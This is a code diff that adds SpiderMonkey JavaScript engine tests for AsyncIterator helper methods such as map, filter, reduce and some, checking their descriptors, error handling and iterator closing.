diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
new file mode 100644
index 0000000000..d8a9b390fa
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-callable.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw eagerly when passed non-callables.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+async function* gen() {}
+
+const methods = [
+ (iter, fn) => iter.map(fn),
+ (iter, fn) => iter.filter(fn),
+ (iter, fn) => iter.flatMap(fn),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, 0), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, false), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, undefined), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, null), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, ''), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(AsyncIterator.prototype, {}), TypeError);
+
+ assertThrowsInstanceOf(() => method(gen(), 0), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), false), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), undefined), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), null), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), ''), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), Symbol('')), TypeError);
+ assertThrowsInstanceOf(() => method(gen(), {}), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
new file mode 100644
index 0000000000..1a61f5001a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-non-iterator.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw eagerly when called on non-iterators.
+info: >
+ AsyncIterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => AsyncIterator.prototype.map.bind(iter, x => x),
+ iter => AsyncIterator.prototype.filter.bind(iter, x => x),
+ iter => AsyncIterator.prototype.take.bind(iter, 1),
+ iter => AsyncIterator.prototype.drop.bind(iter, 0),
+ iter => AsyncIterator.prototype.asIndexedPairs.bind(iter),
+ iter => AsyncIterator.prototype.flatMap.bind(iter, gen),
+];
+
+for (const method of methods) {
+ for (const value of [undefined, null, 0, false, '', Symbol(''), {}, []]) {
+ assertThrowsInstanceOf(method(value), TypeError);
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js
new file mode 100644
index 0000000000..276e59fc86
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-done-throws.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw if `next.done` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {
+ get done() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js
new file mode 100644
index 0000000000..bb38a67000
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-next-not-object.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw if `next` call returns a non-object.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestAsyncIterator extends AsyncIterator {
+ async next(value) {
+ return value;
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ for (const value of [undefined, null, 0, false, '', Symbol('')]) {
+ const iterator = new TestAsyncIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next(value).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js
new file mode 100644
index 0000000000..d7a582c6c1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-on-reentry.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(x) { yield x; }
+
+const methods = ['map', 'filter', 'flatMap'];
+
+for (const method of methods) {
+ const iter = gen('value');
+ const iterHelper = iter[method](x => iterHelper.next());
+ iterHelper.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/map/length.js b/js/src/tests/non262/AsyncIterator/prototype/map/length.js
new file mode 100644
index 0000000000..4bd55f92e0
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/map/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.map length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.map.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.map, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/map/map.js b/js/src/tests/non262/AsyncIterator/prototype/map/map.js
new file mode 100644
index 0000000000..b3adb5cd6c
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/map/map.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+const iter = gen().map(x => x**2);
+
+for (const v of [1, 4, 9]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/map/name.js b/js/src/tests/non262/AsyncIterator/prototype/map/name.js
new file mode 100644
index 0000000000..efb7181966
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/map/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.map.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.map.name, 'map');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.map, 'name');
+assertEq(propertyDescriptor.value, 'map');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js
new file mode 100644
index 0000000000..943094aabc
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/accumulator-set-to-initial-value.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (acc, _) => acc;
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce(reducer, 0).then(value => assertEq(value, 0));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js
new file mode 100644
index 0000000000..2328cc3521
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().reduce(() => {}, 0).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..4a5484f786
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/check-fn-after-getting-iterator.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.reduce(1).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js
new file mode 100644
index 0000000000..6472c1a14d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.reduce
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'reduce');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
new file mode 100644
index 0000000000..c54fccba20
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {}
+gen().reduce((x, y) => x + y).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js
new file mode 100644
index 0000000000..16c0ac51a9
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().reduce().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.reduce.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js
new file mode 100644
index 0000000000..8961c69903
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).reduce(() => {}, 0), gen(2).reduce(() => {}, 0)]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js
new file mode 100644
index 0000000000..b664d25729
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-empty-return-initial-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (x, y) => 0;
+async function *gen() {}
+
+gen().reduce(reducer, 1).then(result => assertEq(result, 1));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js
new file mode 100644
index 0000000000..57c244d603
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/iterator-next-return-non-object-throws.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ constructor(value) {
+ super();
+ this.value = value;
+ }
+
+ next() {
+ return Promise.resolve(this.value);
+ }
+}
+
+const sum = (x, y) => x + y;
+function check(value) {
+ const iter = new TestIterator(value);
+ iter.reduce(sum).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js
new file mode 100644
index 0000000000..91147a1fba
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/left-associative.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce((x, y) => `(${x}+${y})`, 0)
+ .then(result => assertEq(result, '(((0+1)+2)+3)'));
+gen().reduce((x, y) => `(${x}+${y})`)
+ .then(result => assertEq(result, '((1+2)+3)'));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/length.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/length.js
new file mode 100644
index 0000000000..022df65164
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.reduce.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.reduce, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/name.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/name.js
new file mode 100644
index 0000000000..aada19b46d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.reduce.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.reduce, 'name');
+assertEq(propDesc.value, 'reduce');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..796cdb1895
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const sum = (x, y) => x + y;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.reduce(sum).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
new file mode 100644
index 0000000000..0e480dbe4a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (acc, _) => acc;
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce(reducer).then(result => assertEq(result, 1));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js
new file mode 100644
index 0000000000..b1e6d52495
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.reduce only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.reduce((x, y) => x + y).then(() => {
+ assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js
new file mode 100644
index 0000000000..d2382e4d53
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/reduce.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const reducer = (acc, value) => acc + value;
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+gen().reduce(reducer, 0).then(result => assertEq(result, 6));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js
new file mode 100644
index 0000000000..c7fb2005d8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-not-callable-throws.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {}
+
+function check(fn) {
+ gen().reduce(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ err => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js
new file mode 100644
index 0000000000..2a55a89850
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/reducer-throws-iterator-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed, value: undefined });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const reducer = (x, y) => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.reduce(reducer).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js
new file mode 100644
index 0000000000..7f95920fbd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/this-not-iterator-throws.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const sum = (x, y) => x + y;
+function check(x) {
+ AsyncIterator.prototype.reduce.call(x, sum).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..bfe4a9213f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/reduce/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.reduce((x, y) => x + y, 0).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js
new file mode 100644
index 0000000000..384bf2e115
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().some(() => {}).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..41dd30bee0
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/check-fn-after-getting-iterator.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+async function* gen() {
+ yield 1;
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.some(1).then(() => assertEq(true, false, 'expected error'), err => assertEq(err instanceof TypeError, true));
+
+assertEq(
+ log.join('\n'),
+ `get: some
+get: next`
+);
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js b/js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js
new file mode 100644
index 0000000000..8b56511040
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/coerce-result-to-boolean.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(value) {
+ yield value;
+}
+const fn = x => x;
+function check(value, expected) {
+ gen(value).some(fn).then(result => assertEq(result, expected));
+}
+
+check(true, true);
+check(1, true);
+check([], true);
+check({}, true);
+check('test', true);
+
+check(false, false);
+check(0, false);
+check('', false);
+check(null, false);
+check(undefined, false);
+check(NaN, false);
+check(-0, false);
+check(0n, false);
+check(createIsHTMLDDA(), false);
+check(Promise.resolve(false), false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js
new file mode 100644
index 0000000000..d9f5ef8fb7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.some
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'some');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js
new file mode 100644
index 0000000000..bb4b637c1a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/some/error-from-correct-realm.js
